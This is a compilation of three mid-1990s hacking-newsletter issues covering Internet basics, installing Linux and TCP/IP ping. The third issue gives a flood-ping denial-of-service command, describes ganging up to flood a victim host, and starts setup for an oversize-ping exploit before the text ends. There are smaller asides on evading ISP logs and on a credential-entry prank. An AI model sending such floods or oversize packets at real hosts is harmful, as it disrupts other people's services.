Hacking for Dummies

Contents of Volume 2:

_____

GUIDE TO (mostly) HARMLESS HACKING
Vol. 2 Number 1
Internet for Dummies -- skip this if you are a Unix wizard. But if you read on you'll get some more kewl hacking instructions.

_____

The six Guides to (mostly) Harmless Hacking of Vol. 1 jumped immediately into how-to hacking tricks. But if you are like me, all those details of probing ports and playing with hypotheses and pinging down hosts gets a little dizzying.

So how about catching our breath, standing back and reviewing what the heck it is that we are playing with? Once we get the basics under control, we then can move on to serious hacking.

Also, I have been wrestling with my conscience over whether to start giving you step-by-step instructions on how to gain root access to other peoples' computers. The little angel on my right shoulder whispers, "Gaining root without permission on other people's computers is not nice. So don't tell people how to do it." The little devil on my left shoulder says, "Carolyn, all these hackers think you don't know nothin'! PROOVE to them you know how to crack!" The little angel says, "If anyone reading Guide to (mostly) Harmless Hacking tries out this trick, you might get in trouble with the law for conspiracy to damage other peoples' computers." The little devil says, "But, Carolyn, tell people how to crack into root and they will think you are KEWL!"

So here's the deal. In this and the next few issues of Guide to (mostly) Harmless Hacking I'll tell you several ways to get logged on as the superuser in the root account of some Internet host computers. But the instructions will leave a thing or two to the imagination.

My theory is that if you are willing to wade through all this, you probably aren't one of those cheap thrills hacker wannabes who would use this knowledge to do something destructive that would land you in jail.

****

Technical tip: If you wish to become a *serious* hacker, you'll need Linux (a freeware variety of Unix) on your PC. One reason is that then you can crack into root legally all you want -- on your own computer. It sure beats struggling around on someone else's computer only to discover that what you thought was root was a cleverly set trap and the sysadmin and FBI laugh at you all the way to jail.

Linux can be installed on a PC with as little as a 386 CPU, only 2 Mb RAM and as little as 20 MB of hard disk. You will need to reformat your hard disk. While some people have successfully installed Linux without trashing their DOS/Windows stuff, don't count on getting away with it. Backup, backup, backup!

****
****

You can go to jail warning: Crack into root on someone else's computer and the slammer becomes a definite possibility. Think about this: when you see a news story about some hacker getting busted, how often do you recognize the name? How often is the latest bust being done to someone famous, like Dark Tangent or se7en or Emmanuel Goldstein? How about, like, never! That's because really good hackers figure out how to not do stupid stuff. They learn how to crack into computers for the intellectual challenge and to figure out how to make computers safe from intruders. They don't bull their way into root and make a mess of things, which tends to inspire sysadmins to call the cops.

****

Exciting notice: Is it too boring to just hack into your own Linux machine? Hang in there. Ira Winkler of the National Computer Security Association, Dean Garlick of the Space Dynamics Lab of Utah State University and I are working on setting up hack.net, a place where it will be legal to break into computers. Not only that, we're looking for sponsors who will give cash awards and scholarships to those who show the greatest hacking skills. Now does that sound like more phun than jail?

****

So, let’s jump into our hacking basics tutorial with a look at the wondrous anarchy that is the Internet.
Note that these Guides to (mostly) Harmless Hacking focus on the Internet. That is because there are many legal ways to hack on the Internet. Also, there are over 10 million of these readily hackable computers on the Internet, and the number grows every day.
Internet Basics
No one owns the Internet. No one runs it. It was never planned to be what it is today. It just happened, the mutant outgrowth of a 1969 US Defense Advanced Research Projects Agency experiment.
This anarchic system remains tied together because its users voluntarily obey some basic rules. These rules can be summed up in two words: Unix and TCP/IP (with a nod to UUCP). If you understand, truly understand Unix and TCP/IP (and UUCP), you will become a fish swimming in the sea of cyberspace, an Uberhacker among hacker wannabes, a master of the Internet universe.
To get technical, the Internet is a world-wide distributed computer/communications network held together by a common communications standard, Transmission Control Protocol/Internet Protocol (TCP/IP) and a bit of UUCP. These standards allow anyone to hook up a computer to the Internet, which then becomes another node in this network of the Internet. All that is needed is to get an Internet address assigned to the new computer, which is then known as an Internet "host," and tie into an Internet communications link. These links are now available in almost all parts of the world.
If you use an on-line service from your personal computer, you, too, can temporarily become part of the Internet. There are two main ways to hook up to an on-line service.
There is the cybercouch potato connection that every newbie uses. It requires either a point-to-point (PPP) or SLIPconnection, which allows you to run pretty pictures with your Web browser. If you got some sort of packaged software from your ISP, it automatically gives you this sort of connection.
Or you can connect with a terminal emulator to an Internet host. This program may be something as simple as the Windows 3.1 “Terminal” program under the “Accessories” icon. Once you have dialed in and connected you are just another terminal on this host machine. It won’t give you pretty pictures. This connection will be similar to what you get on an old-fashioned BBS. But if you know how to use this kind of connection, it could even give you root access to that host.
But how is the host computer you use attached to the Internet? It will be running some variety of the Unix operating system. Since Unix is so easy to adapt to almost any computer, this means that almost any computer may become an Internet host.
For example, I sometimes enter the Internet through a host which is a Silicon Graphics Indigo computer at Utah State University. Its Internet address is fantasia.idec.sdl.usu.edu. This is a computer optimized for computer animation work, but it can also operate as an Internet host. On other occasions the entry point used may be pegasus.unm.edu, which is an IBM RS 6000 Model 370. This is a computer optimized for research at the University of New Mexico.
Any computer which can run the necessary software -- which is basically the Unix operating system -- has a modem, and is tied to an Internet communications link, may become an Internet node. Even a PC may become an Internet host by running one of the Linux flavors of Unix. After setting it up with Linux you can arrange with the ISP of your choice to link it permanently to the Internet.
In fact, many ISPs use nothing more than networked PCs running Linux!
As a result, all the computing, data storage, and sending, receiving and forwarding of messages on the Internet is handled by the millions of computers of many types and owned by countless companies, educational institutions, governmental entities and even individuals. Each of these computers has an individual address which enables it to be reached through the Internet if hooked up to a appropriate communications link. This address may be represented in two ways: as a name or a number.
The communications links of the Internet are also owned and maintained in the same anarchic fashion as the hosts. Each owner of an Internet host is responsible for finding and paying for a communications link that will get that host tied in with at least one other host.
Communications links may be as simple as a phone line, a wireless data link such as cellular digital packet data, or as complicated as a high speed fiber optic link. As long as the communications link can use TCP/IP or UUCP, it can fit into the Internet.
Thus the net grows with no overall coordination. A new owner of an Internet host need only get permission to tie into one communications link to one other host. Alternatively, if the provider of the communications link decides this host is, for example, a haven for spammers,

it can cut this “rogue site” off of the Internet. The rogue site then must snooker some other communications link into tying it into the Internet again.
The way most of these interconnected computers and communications links work is through the common language of the TCP/IP protocol. Basically, TCP/IP breaks any Internet communication into discrete "packets." Each packet includes information on how to rout it, error correction, and the addresses of the sender and recipient. The idea is that if a packet is lost, the sender will know it and resend the packet. Each packet is then launched into the Internet. This network may automatically choose a route from node to node for each packet using whatever is available at the time, and reassembles the packets into the complete message at the computer to which it was addressed.
These packets may follow tortuous routes. For example, one packet may go from a node in Boston to Amsterdam and back to the US for final destination in Houston, while another packet from the same message might be routed through Tokyo and Athens, and so on. Usually, however, the communications links are not nearly so torturous. Communications links may include fiber optics, phone lines and satellites.
The strength of this packet-switched network is that most messages will automatically get through despite heavy message traffic congestion and many communications links being out of service. The disadvantage is that messages may simply disappear within the system. It also may be difficult to reach desired computers if too many communications links are unavailable at the time.
However, all these wonderful features are also profoundly hackable. The Internet is robust enough to survive -- so its inventors claim -- even nuclear war. Yet it is also so weak that with only a little bit of instruction, it is possible to learn how to seriously spoof the system (forged email) or even temporarily put out of commission other people's Internet host computers (flood pinging, for example.)
On the other hand, the headers on the packets that carry hacking commands will give away the account information from which a hacker is operating. For this reason it is hard to hide perfectly when on the Internet.
It is this tension between this power and robustness and weakness and potential for confusion that makes the Internet a hacker playground.
For example, HERE IS YOUR HACKER TIP YOU’VE BEEN WAITING FOR THIS ISSUE:
ftp://ftp.secnet.com
This ftp site was posted on the BUGTRAQ list, which is dedicated to discussion of Unix security holes. Moderator is Aleph One, who is a genuine Uberhacker. If you want to subscribe to the BUGTRAQ, email LISTSERV@netspace.org with message “subscribe BUGTRAQ.”
Now, back to Internet basics.
History of Internet
As mentioned above, the Internet was born as a US Advanced Research Projects Agency (ARPA) effort in 1969. Its inventors called it ARPANET. But because of its value in scientific research, the US National Science Foundation (NSF) took it over in 1983. But over the years since then it gradually evolved away from any single source of control. In April 1995 NSF cut the last apron strings. Now the Internet is run by no one. It just happens and grows out of the efforts of those who play with it and struggle with the software and hardware.
Nothing at all like this has ever happened before. We now have a computer system with a life of its own. We, as hackers, form a big part of the mutation engine that keeps the Internet evolving and growing stronger. We also form a big part of the immune system of this exotic creature.
The original idea of ARPANET was to design a computer and communications network that would eventually become so redundant, so robust, and so able to operate without centralized control, that it could even survive nuclear war. What also happened was that ARPANET evolved into a being that has survived the end of government funding without even a blip in its growth. Thus its anarchic offspring, the Internet, has succeeded beyond the wildest dreams of its original architects.
The Internet has grown explosively, with no end in sight. At its inception as ARPANET it held only 4 hosts. A quarter of a century later, in 1984, it contained only 1000 hosts. But over the next 5 years this number grew tenfold to 10,000 (1989). Over the following 4 years it grew another tenfold to 1 million (1993). Two years later, at the end of 1995, the Internet was estimated to have at least 6 million host computers. There are probably over 10 million now. There appears to be no end in sight yet to the incredible growth of this mutant child of ARPANET.
In fact, one concern raised by the exponential growth in the Internet is that demand may eventually far outrace capacity. Because now no entity owns or controls the Internet, if the

capacity of the communications links among nodes is too small, and it were to become seriously bogged down, it might be difficult to fix the problem.
For example, in 1988, Robert Morris, Jr. unleashed a "virus"-type program on the Internet commonly known as the “Morris Worm.” This virus would make copies of itself on whatever computer it was on and then send copies over communications links to other Internet hosts. (It used a bug in sendmail that allowed access to root, allowing the virus to act as the superuser). Quickly the exponential spread of this virus made the Internet collapse from the communications traffic and disk space it tied up.
At the time the Internet was still under some semblance of control by the National Science Foundation and was connected to only a few thousand computers. The Net was shut down and all viruses purged from its host computers, and then the Net was put back into operation. Morris, meanwhile, was put in jail.
There is some concern that, despite improved security measures (for example, "firewalls"), someone may find a new way to launch a virus that could again shut down the Internet. Given the loss of centralized control, restarting it could be much more time-consuming if this were to happen again.
But reestablishing a centralized control today like what existed at the time of the “Morris Worm” is likely to be impossible. Even if it were possible, the original ARPANET architects were probably correct in their assessment that the Net would become more susceptible for massive failure rather than less if some centralized control were in place.
Perhaps the single most significant feature of today's Internet is this lack of centralized control. No person or organization is now able to control the Internet. In fact, the difficulty of control became an issue as early as its first year of operation as ARPANET. In that year email was spontaneously invented by its users. To the surprise of ARPANET's managers, by the second year email accounted for the bulk of the communication over the system.
Because the Internet had grown to have a fully autonomous, decentralized life of its own, in April 1995, the NSF quit funding NSFNET, the fiber optics communications backbone which at one time had given NSF the technology to control the system. The proliferation of parallel communications links and hosts had by then completely bypassed any possibility of centralized control.
There are several major features of the Internet:
* World Wide Web -- a hypertext publishing network and now the fastest growing part of the Internet.
* email -- a way to send electronic messages
* Usenet -- forums in which people can post and view public messages
* telnet -- a way to login to remote Internet computers
* file transfer protocol -- a way to download files from remote Internet computers
* Internet relay chat -- real-time text conversations -- used primarily by hackers and other Internet old-timers
* gopher -- a way of cataloging and searching for information. This is rapidly growing obsolete.
As you port surfers know, there are dozens of other interesting but less well known services such as whois, finger, ping etc.
The World Wide Web
The World Wide Web is the newest major feature of the Internet, dating from the spring of 1992. It consists of "Web pages," which are like pages in a book, and links from specially marked words, phrases or symbols on each page to other Web pages. These pages and links together create what is known as "hypertext." This technique makes it possible to tie together many different documents which may be written by many people and stored on many different computers around the world into one hypertext document.
This technique is based upon the Universal Resource Locator (URL) standard, which specifies how to hook up with the computer and access the files within it where the data of a Web page may be stored.
A URL is always of the form http://<rest of address>, where <rest of address> includes a domain name which must be registered with an organization called InterNIC in order to make sure that two different Web pages (or email addresses, or computer addresses) don't end up being identical. This registration is one of the few centralized control features of the Internet.
Here's how the hypertext of the World Wide Web works. The reader would come to a statement such as "our company offers LTL truck service to all major US cities." If this statement on the "Web page" is highlighted, that means that a click of the reader's computer mouse will take him or her to a new Web page with details. These may include complete schedules and a form to fill out to order a pickup and delivery.
Some Web pages even offer ways to make electronic payments, usually through credit cards.

However, the security of money transfers over the Internet is still a major issue. Yet despite concerns with verifiability of financial transactions, electronic commerce over the Web is growing fast. In its second full year of existence, 1994, only some $17.6 million in sales were conducted over the Web. But in 1995, sales reached $400 million. Today, in 1996, the Web is jammed with commercial sites begging for your credit card information.

In addition, the Web is being used as a tool in the distribution of a new form of currency, known as electronic cash. It is conceivable that, if the hurdle of verifiability may be overcome, that electronic cash (often called ecash) may play a major role in the world economy, simplifying international trade. It may also eventually make national currencies and even taxation as we know it obsolete.

Examples of Web sites where one may obtain ecash include the Mark Twain Bank of St. Louis, MO (http://www.marktwain.com) and Digicash of Amsterdam, The Netherlands (http://www.digicash.com).

The almost out-of-control nature of the Internet manifests itself on the World Wide Web. The author of a Web page does not need to get permission or make any arrangement with the authors of other Web pages to which he or she wishes to establish links. Links may be established automatically simply by programming in the URLs of desired Web page links. Conversely, the only way the author of a Web page can prevent other people from reading it or establishing hypertext links to it is to set up a password protection system (or by not having communications links to the rest of the Internet).

A problem with the World Wide Web is how to find things on it. Just as anyone may hook a new computer up to the Internet, so also there is no central authority with control or even knowledge of what is published where on the World Wide Web. No one needs to ask permission of a central authority to put up a Web page.

Once a user knows the address (URL) of a Web page, or at least the URL of a Web page that links eventually to the desired page, then it is possible (so long as communications links are available) to almost instantly hook up with this page.

Because of the value of knowing URLs, there now are many companies and academic institutions that offer searchable indexes (located on the Web) to the World Wide Web. Automated programs such as Web crawlers search the Web and catalog the URLs they encounter as they travel from hypertext link to hypertext link. But because the Web is constantly growing and changing, there is no way to create a comprehensive catalog of the entire Web.

Email

Email is the second oldest use of the Internet, dating back to the ARPAnet of 1972. (The first use was to allow people to remotely log in to their choice of one of the four computers on which ARPAnet was launched in 1971.)

There are two major uses of email: private communications, and broadcasted email. When broadcasted, email serves to make announcements (one-way broadcasting), and to carry on discussions among groups of people such as our Happy Hacker list. In the group discussion mode, every message sent by every member of the list is broadcasted to all other members. The two most popular program types used to broadcast to email discussion groups are majordomo and listserv.

Usenet

Usenet was a natural outgrowth of the broadcasted email group discussion list. One problem with email lists is that there was no easy way for people new to these groups to join them. Another problem is that as the group grows, a member may be deluged with dozens or hundreds of email messages each day.

In 1979 these problems were addressed by the launch of Usenet. Usenet consists of news groups which carry on discussions in the form of "posts." Unlike an email discussion group, these posts are stored, typically for two weeks or so, awaiting potential readers. As new posts are submitted to a news group, they are broadcast to all Internet hosts that are subscribed to carry the news groups to which these posts belong.

With many Internet connection programs you can see the similarities between Usenet and email. Both have similar headers, which track their movement across the Net. Some programs such as Pine are sent up to send the same message simultaneously to both email addresses and newsgroups. All Usenet news readers allow you to email the authors of posts, and many also allow you to email these posts themselves to yourself or other people.

Now, here is a quick overview of the Internet basics we plan to cover in the next several issues of Guide to (mostly) Harmless Hacking:

1. Unix

We discuss “shells” which allow one to write programs (“scripts”) that automate complicated series of Unix commands. The reader is introduced to the concept of scripts which perform hacking functions. We introduce Perl, which is a shell programming language used for the most elite of hacking scripts such as SATAN.
3. TCP/IP and UUCP
This chapter covers the communications links that bind together the Internet from a hackers' perspective. Extra attention is given to UUCP since it is so hackable.
4. Internet Addresses, Domain Names and Routers
The reader learns how information is sent to the right places on the Internet, and how hackers can make it go to the wrong places! How to look up UUCP hosts (which are not under the domain name system) is included.
5. Fundamentals of Elite Hacking: Ports, Packets and File Permissions
This section lets the genie of serious hacking out of the bottle. It offers a series of exercises in which the reader can enjoy gaining access to almost any randomly chosen Internet host. In fact, by the end of the chapter the reader will have had the chance to practice several dozen techniques for gaining entry to other peoples' computers. Yet these hacks we teach are 100% legal!

Want to subscribe to this list? Email hacker@techbroker.com with the message “subscribe happyhacker.” Want to share some kewl stuph with the Happy Hacker list? Send your messages to hacker@techbroker.com. To send me confidential email (please, no discussions of illegal activities) use cmeinel@techbroker.com. Please direct flames to dev/null@techbroker.com. Happy hacking!

GUIDE TO (mostly) HARMLESS HACKING
Vol. 2 Number 2
Linux!

Unix has become the primo operating system of the Internet. In fact, Unix is the most widely used operating system in the world among computers with more power than PCs.
True, Windows NT is coming up fast as a common Internet operating system, and is sooo wonderfully buggy that it looks like it could become the number one favorite to crack into. But today Unix in all its wonderful flavors still is the operating system to know in order to be a truly elite hacker.
So far we have assumed that you have been hacking using a shell account that you get through your Internet Service Provider (ISP). A shell account allows you to give Unix commands on one of your ISP's computers. But you don't need to depend on your ISP for a machine that lets you play with Unix. You can run Unix on your own computer and with a SLIP or PPP connection be directly connected to the Internet.
****
Newbie note: Serial Line Internet Protocol (SLIP) and Point-to-Point Protocol (PPP) connections give you a temporary Internet Protocol (IP) address that allows you to be hooked directly to the Internet. You have to use either SLIP or PPP connections to get to use a Web browser that gives you pictures instead on text only. So if you can see pictures on the Web, you already have one of these available to you.
The advantage of using one of these direct connections for your hacking activities is that you will not leave behind a shell log file for your ISP's sysadmin to pore over. Even if you are not breaking the law, a shell log file that shows you doing lots of hacker stuph can be enough for some sysadmins to summarily close your account.
****
What is the best kind of computer to run Unix on? Unless you are a wealthy hacker who thinks nothing of buying a Sun SPARC workstation, you'll probably do best with some sort of PC. There are almost countless variants of Unix that run on PCs, and a few for Macs. Most of them are free for download, or inexpensively available on CD-ROMs.
The three most common variations of Unix that run on PCs are Sun's Solaris, FreeBSD and Linux. Solaris costs around $700. Enough said. FreeBSD is really, really good. But you con't find many manuals or newsgroups that cover FreeBSD.
Linux, however, has the advantage of being available in many variants (so you can have fun mixing and matching programs from different Linux offerings). Most importantly, Linux is

supported by many manuals, news groups, mail lists and Web sites. If you have hacker friends in your area, most of them probably use Linux and can help you out.
****
Historical note: Linux was created in 1991 by a group led by Linus Torvalds of the University of Helsinki. Linux is copyrighted under the GNU General Public License. Under this agreement, Linux may be redistributed to anyone along with the source code. Anyone can sell any variant of Linux and modify it and repackage it. But even if someone modifies the source code he or she may not claim copyright for anything created from Linux. Anyone who sells a modified version of Linux must provide source code to the buyers and allow them to reuse it in their commercial products without charging licensing fees. This arrangement is known as a "copyleft."
Under this arrangement the original creators of Linux receive no licensing or shareware fees. Linus Torvalds and the many others who have contributed to Linux have done so from the joy of programming and a sense of community with all of us who will hopefully use Linux in the spirit of good guy hacking. Viva Linux! Viva Torvalds!
****
Linux consists of the operating system itself (called the "kernel") plus a set of associated programs.
The kernel, like all types of Unix, is a multitasking, multi-user operating system. Although it uses a different file structure, and hence is not directly compatible with DOS and Windows, it is so flexible that many DOS and Windows programs can be run while in Linux. So a power user will probably want to boot up in Linux and then be able to run DOS and Windows programs from Linux.
Associated programs that come with most Linux distributions may include:
* a shell program (Bourne Again Shell -- BASH -- is most common);
* compilers for programming languages such as Fortran-77 (my favorite!), C, C++, Pascal, LISP, Modula-2, Ada, Basic (the best language for a beginner), and Smalltalk.;
* X (sometimes called X-windows), a graphical user interface
* utility programs such as the email reader Pine (my favorite) and Elm
Top ten reasons to install Linux on your PC:
1.When Linux is outlawed, only outlaws will own Linux.
2. When installing Linux, it is so much fun to run fdisk without backing up first.
3.The flames you get from asking questions on Linux newsgroups are of a higher quality than the flames you get for posting to alt.sex.bestiality.
4.No matter what flavor of Linux you install, you'll find out tomorrow there was a far more 3l1te ersion you should have gotten instead.
5.People who use Free BSD or Solaris will not make fun of you. They will offer their sympathy instead.
6.At the next Def Con you'll be able to say stuph like "so then I su-ed to his account and grepped all his files for 'kissyface'." Oops, grepping other people's files is a no-no, forget I ever suggested it.
7.Port surf in privacy.
8.One word: exploits.
9.Installing Linux on your office PC is like being a postal worker and bringing an Uzi to work.
10.But - - if you install Linux on your office computer, you boss won't have a clue what that means.
What types of Linux work best? It depends on what you really want. Redhat Linux is famed for being the easiest to install. The Walnut Creek Linux 3.0 CD-ROM set is also really easy to install -- for Linux, that is! My approach has been to get lots of Linux versions and mix and match the best from each distribution.
I like the Walnut Creek version best because with my brand X hardware, its autodetection feature was a life-saver.
INSTALLING LINUX is not for the faint of heart! Several tips for surviving installation are:
1) Although you in theory can run Linux on a 286 with 4 MB RAM and two floppy drives, it is *much* easier with a 486 or above with 8 MB RAM, a CD-ROM, and at least 200 MB free hard disk space.
2) Know as much as possible about what type of mother board, modem, hard disk, CD-ROM, and video card you have. If you have any documentation for these, have them on hand to reference during installation.
3) It works better to use hardware that is name-brand and somewhat out-of-date on your computer. Because Linux is freeware, it doesn't offer device drivers for all the latest hardware.

And if your hardware is like mine -- lots of Brand X and El Cheapo stuph, you can take a long time experimenting with what drivers will work.
4) Before beginning installation, back up your hard disk(s)! In theory you can install Linux without harming your DOS/Windows files. But we are all human, especially if following the advice of point 7).
5) Get more than one Linux distribution. The first time I successfully installed Linux, I finally hit on something that worked by using the boot disk from one distribution with the CD-ROM for another. In any case, each Linux distribution had different utility programs, operating system emulators, compilers and more. Add them all to your system and you will be set up to become beyond elite.
6) Buy a book or two or three on Linux. I didn't like any of them! But they are better than nothing. Most books on Linux come with one or two CD-ROMs that can be used to install Linux. But I found that what was in the books did not exactly coincide with what was on the CD-ROMs.
7) I recommend drinking while installing. It may not make debugging go any faster, but at least you won't care how hard it is.
Now I can almost guarantee that even following all these 6 pieces of advice, you will still have problems installing Linux. Oh, do I have 7 advisories up there? Forget number 7. But be of good cheer. Since everyone else also suffers mightily when installing and using Linux, the Internet has an incredible wealth of resources for the Linux -challenged.
If you are allergic to getting flamed, you can start out with Linux support Web sites.
The best I have found is http://sunsite.unc.edu:/pub/Linux/. It includes the Linux Frequently Asked Questions list (FAQ), available from
sunsite.unc.edu:/pub/Linux/docs/FAQ.
In the directory /pub/Linux/docs on sunsite.unc.edu you'll find a number of other documents about Linux, including the Linux INFO-SHEET and META-FAQ,
The Linux HOWTO archive is on the sunsite.unc.edu Web site at: /pub/Linux/docs/HOWTO. The directory /pub/Linux/docs/LDP contains the current set of LDP manuals.
You can get ``Linux Installation and Getting Started'' from sunsite.unc.edu in /pub/Linux/docs/LDP/install-guide. The README file there describes how you can order a printed copy of the book of the same name (about 180 pages).
Now if you don't mind getting flamed, you may want to post questions to the amazing number of Usenet news groups that cover Linux. These include:
comp.os.linux.advocacy Benefits of Linux compared
comp.os.linux.development.system Linux kernels, device drivers
comp.os.linux.x Linux X Window System servers
comp.os.linux.development.apps Writing Linux applications
comp.os.linux.hardware Hardware compatibility
comp.os.linux.setup Linux installation
comp.os.linux.networking Networking and communications
comp.os.linux.answers FAQs, How-To's, READMEs, etc.
linux.redhat.misc
alt.os.linux Use comp.os.linux.* instead
alt.uu.comp.os.linux.questions Usenet University helps you
comp.os.linux.announce Announcements important to Linux
comp.os.linux.misc Linux-specific topics
Want your Linux free? Tobin Fricke has pointed out that "free copies of Linux CD-ROMs are available the Linux Support & CD Givaway web site at
http://emile.math.ucsb.edu:8000/giveaway.html. This is a project where people donate Linux CD's that they don't need any more. The project was seeded by Linux Systems Labs, who donated 800 Linux CDs initially! Please remember to donate your Linux CD's when you are done with them. If you live near a computer swap meet, Fry's, Microcenter, or other such place, look for Linux CD's there. They are usually under $20, which is an excellent investment. I personally like the Linux Developer's Resource by Infomagic, which is now up to a seven CD set, I believe, which includes all major Linux distributions (Slackware, Redhat, Debian, Linux for DEC Alpha to name a few)plus mirrors of tsx11.mit.edu and sunsite.unc.edu/pub/linux plus much more. You should also visit the WONDERFUL linux page at
http://sunsite.unc.edu/linux, which has tons of information, as well as the
http://www.linux.org/. You might also want to check out
http://www.redhat.com/ and http://www.caldera.com/ for more
information on commercial versions of linux (which are still freely available under GNU)."

How about Linux security? Yes, Linux, like every operating system, is imperfect. Eminently hackable, if you really want to know. So if you want to find out how to secure your Linux system, or if you should come across one of the many ISPs that use Linux and want to go exploring (oops, forget I
wrote that), here's where you can go for info:
ftp://info.cert.org/pub/cert_advisories/CA-94:01.network.monitoring.attacks
ftp://info.cert.org/pub/tech_tips/root_compromise
http://bach.cis.temple.edu/linux/linux-security/
http://www.geek-girl.com/bugtraq/
There is also help for Linux users on Internet Relay Chat (IRC). Ben (cyberkid@usa.net) hosts a channel called #LinuxHelp on the Undernet IRC server.

Last but not least, if you want to ask Linux questions on the Happy Hacker list, you're welcome. We may be the blind leading the blind, but what
the heck!

_____

_____

_____

GUIDE TO (mostly) HARMLESS HACKING
Vol. 2 Number 3
Introduction to TCP/IP. That means packets! Datagrams! Ping oversize packet denial of service exploit explained. But this hack is a lot less mostly harmless than most. Don't try this at home...

_____

If you have been on the Happy Hacker list for awhile, you've been getting some items forwarded from the Bugtraq list on a new ping packet exploit.
Now if this has been sounding like gibberish to you, relax. It is really very simple. In fact, it is so simple that if you use Windows 95, by the time you finish this article you will know a simple, one-line command that you could use to crash many Internet hosts and routers.
****
YOU CAN GO TO JAIL WARNING: This time I'm not going to implore the wannabe evil genius types on this list to be virtuous and resist the temptation to misuse the information I'm about to give them. See if I care! If one of those guys gets caught crashing thousands of Internet hosts and routers, not only will they go to jail and get a big fine. We'll all think he or she is a dork. This exploit is a no-brainer, one-line command from Windows 95. Yeah, the operating system that is designed for clueless morons. So there is nothing elite about this hack. What is elite is being able to thwart this attack.
****
****
NEWBIE NOTE: If packets, datagrams, and TCP/IP aren't exactly your bosom buddies yet, believe me, you need to really get in bed with them in order to call yourself a hacker. So hang in here for some technical stuff. When
we are done, you'll have the satisfaction of knowing you could wreak havoc on the Internet, but are too elite to do so.
A packet is a way to send information electronically that keeps out errors. The idea is that no transmission technology is perfect. Have you ever played the game "telephone"? You get a dozen or so people in a circle and the first person whispers a message to the second. Something like "The bun is the lowest form of wheat." The second person whispers to the third, "A bum is the lowest form of cheating." The third whispers, "Rum is the lowest form of drinking." And so on. It's really fun to find out how far the message can mutate as it goes around the circle.
But when, for example, you get email, you would prefer that it isn't messed up. So the computer that sends the email breaks it up into little pieces called datagrams. Then it wraps things around each datagram that tell what
computer it needs to go to, where it came from, and that check whether the datagram might have been garbled. These wrapped up datagram packages are called "packets."
Now if the computer sending email to you were to package a really long message into just one packet, chances are pretty high that it will get messed up while on its way to the other computer. Bit burps. So when the receiving computer checks the packet and finds that it got messed up, it

will throw it away and tell the other computer to send it again. It could take a long time until this giant packet gets through intact.
But if the message is broken into a lot of little pieces and wrapped up into bunches of packets, most of them will be good and the receiving computer will keep them. It will then tell the sending computer to retransmit just the packets that messed up. Then when all the pieces finally get there, the receiving computer puts them together in the right order and lo and behold, there is the complete, error-free email.
TCP/IP stands for Transmission Control Protocol/Internet Protocol. It tells computers that are hooked up to the Internet how to package up messages into packets and how to read packets these packets from other computers. Ping uses TCP/IP to make its packets.
****
"Ping" is a command that sends a feeler out from your computer to another computer to see if it is turned on and hooked to the same network you are on. On the Internet there are some ten million computers that you can ping.
Ping is a command you can give, for example, from the Unix, Windows 95 and Windows NT operating systems. It is part of the Internet Control Message Protocol (ICMP), which is used to troubleshoot TCP/IP networks. What it does is tell a remote computer to echo back a ping. So if you get your ping
back, you know that computer is alive. Furthermore, some forms of the ping command will also tell you how long it takes for a message to go out to that computer and come back again.
But how does your computer know that the ping it just sent out actually echoed back from the targeted computer? The datagram is the answer. The ping sent out a datagram. If the returning ping holds this same datagram, you know it was your ping that just echoed back.
The basic format of this command is simply:
ping hostname
where "hostname" is the Internet address of the computer you want to check out.
When I give this command from Sun Release 4.1 Unix, I get the answer "hostname is alive."
****
TECHNICAL TIP: Because of the destructive powers of ping, many Internet Service Providers hide the ping program in their shell accounts where clueless newbies can't get their hands on it. If your shell account says "command not found" when you enter the ping command, try:
/usr/etc/ping hostname
If this doesn't work, either try the command “whereis ping” or complain to your ISP's tech support. They may have ddiabled ping for ordinary users, but if you convince tech support you are a good Internet citizen they may let you use it.
****
****
NEWBIE NOTE: You say you can't find a way to ping from your on-line service? That may be because you don't have a shell account. But there is one thing you really need in order to hack: A SHELL ACCOUNT!!!!
The reason hackers make fun of people with America Online accounts is because that ISP doesn't give out shell accounts. This is because America Online wants you to be good boys and girls and not hack!
A "shell account" is an Internet account in which your computer becomes a terminal of one of your ISP's host computers. Once you are in the "shell" you can give commands to the operating system (which is usually Unix) just
like you were sitting there at the console of one of your ISP's hosts.
You may already have a shell account but just not know how to log on to it. Call tech support with your ISP to find out whether you have one, and how to get on it.
****
There are all sorts of fancy variations on the ping command. And, guess what, whenever there is a command you give over the Internet that has lots of variations, you can just about count on there being something hackable in there. Muhahaha!
The flood ping is a simple example. If your operating system will let you get away with giving the command:
-> ping -f hostname
it sends out a veritable flood of pings, as fast as your ISP's host machine can make them. This keeps the host you've targeted so busy echoing back your pings that it can do little else. It also puts a heavy load on the network.
Hackers with primitive skill levels will sometimes get together and use several of their computers at once to simultaneously ping some victim's Internet host computer. This will generally keep the victim's computer too

busy to do anything else. It may even crash. However, the down side (from the attackers' viewpoint) is that it keeps the attackers' computers tied up, too.
****
NETIQUETTE NOTE: Flood pinging a computer is extremely rude. Get caught doing this and you will be lucky if the worst that happens is your on-line service provider closes your account. Do this to a serious hacker and you may need an identity transplant.
If you should start a flood ping kind of by accident, you can shut it off by holding down the control key and pressing "c" (control-c).
****
****
EVIL GENIUS TIP: Ping yourself! If you are using some sort of Unix, your operating system will let you use your computer to do just about anything to itself that it can do to other computers. The network address that takes you
back to your own host computer is localhost (or 127.0.0.1). Here's an example of how I use localhost:
<slug> [65] ->telnet localhost
Trying 127.0.0.1 ...
Connected to localhost.
Escape character is '^]'.

SunOS UNIX (slug)

login:
See, I'm back to the login sequence for the computer named "slug" all over
again.
Now I ping myself:
<llama> [68] ->/usr/etc/ping localhost
localhost is alive
This gives the same result as if I were to command:
<llama> [69] ->/usr/etc/ping llama
llama.swcp.com is alive
****
****
MUHAHAHA TIP: Want to yank someone's chain? Tell him to ftp to 127.0.0.1 and log in using his or her own user name and password for kewl warez! My ex-husband Keith Henson did that to the Church of Scientology. The COGs ftp-ed to 127.0.0.1 and discovered all their copyrighted scriptures. They
assumed this was on Keith's computer, not theirs. They were *so* sure he had their scriptures that they took him to court. The judge, when he realized they were simply looping back to their own computer, literally laughed them out of court.
For a hilarious transcript or audio tape of this infamous court session, email hkhenson@cup.portal.com. That's Keith's email address. My hat is off to a superb hacker!
****
However, the oversize ping packet exploit you are about to learn will do even more damage to some hosts than a gang of flood ping conspirators. And it will do it without tying up the attackers' computer for any longer than the split second it takes to send out just one ping.
The easiest way to do this hack is to run Windows 95. Don't have it? You can generally find a El Cheapo store that will sell it to you for $99.
To do this, first set up your Windows 95 system so that you can make a PPP or SLIP connection with the Internet using the Dialup Networking program under the My Computer icon. You may need some help from your ISP tech support in setting this up. You must do it this way or this hack won't work. Your America Online dialer *definitely* will not work.
****
